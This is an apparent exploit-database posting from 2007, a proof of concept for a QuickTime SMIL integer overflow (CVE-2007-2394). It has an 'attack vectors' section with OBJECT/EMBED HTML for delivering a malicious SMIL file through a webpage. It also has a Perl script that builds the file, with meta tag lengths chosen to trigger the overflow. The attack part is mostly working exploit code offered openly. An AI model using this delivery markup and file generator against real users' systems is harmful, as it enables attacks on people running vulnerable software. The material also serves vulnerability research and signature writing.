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Apple Quicktime < 7.2 SMIL Remote Integer Overflow PoC
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来源：d.vaartjes at gmail.com 作者：David 发布时间：2007-09-05
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----------------------------------------------------------------------
ATTACK VECTORS
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This vulnerability can be triggered by luring a target user into
running a malicious SMIL file locally or via a webpage. In the later
scenario the OBJECT (IE) and/or EMBED (FireFox) tags can be used:
<OBJECT
CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab"
WIDTH="10" HEIGHT="10" >
<!-- malicious SMIL file -->
<PARAM NAME="src" VALUE="poc.smil" />
<EMBED
<!-- available .qtif or .mov file to start up QT for FF -->
SRC="available-sample.qtif"
<!-- malicious SMIL file -->
QTSRC="poc.smil"
WIDTH="10" HEIGHT="10"
PLUGINSPAGE=" www.apple.com/quicktime/download"
TYPE="video/quicktime"
/>
</OBJECT>
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PROOF OF CONCEPT
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#!/usr/bin/perl -w
####
# QuickTime SMIL integer overflow vulnerability (CVE-2007-2394) POC
#
# Researched on QuickTime 7.1.3 on Windows 2000 SP4.
#
# David Vaartjes <d.vaartjes at gmail.com>
####
$file = " poc.smil";
$padd = "x";
$cop_len = 36;
####
# By choosing the following lengths the
# integer overflow will be triggered.
####
$tit_len = 223;
$auth_len = 65280;
open(FH,">$file") or die "Can't open file:$!";
print FH
"<smil>\n".
"<head>\n".
" <meta name=\"title\" content=\"".$padd x $tit_len."\"/>\n".
" <meta name=\"author\" content=\"".$padd x $auth_len."\"/>\n".
" <meta name=\"copyright\" content=\"".$padd x $cop_len."\"/>\n".
"</head>\n".
"</smil>";
close(FH);
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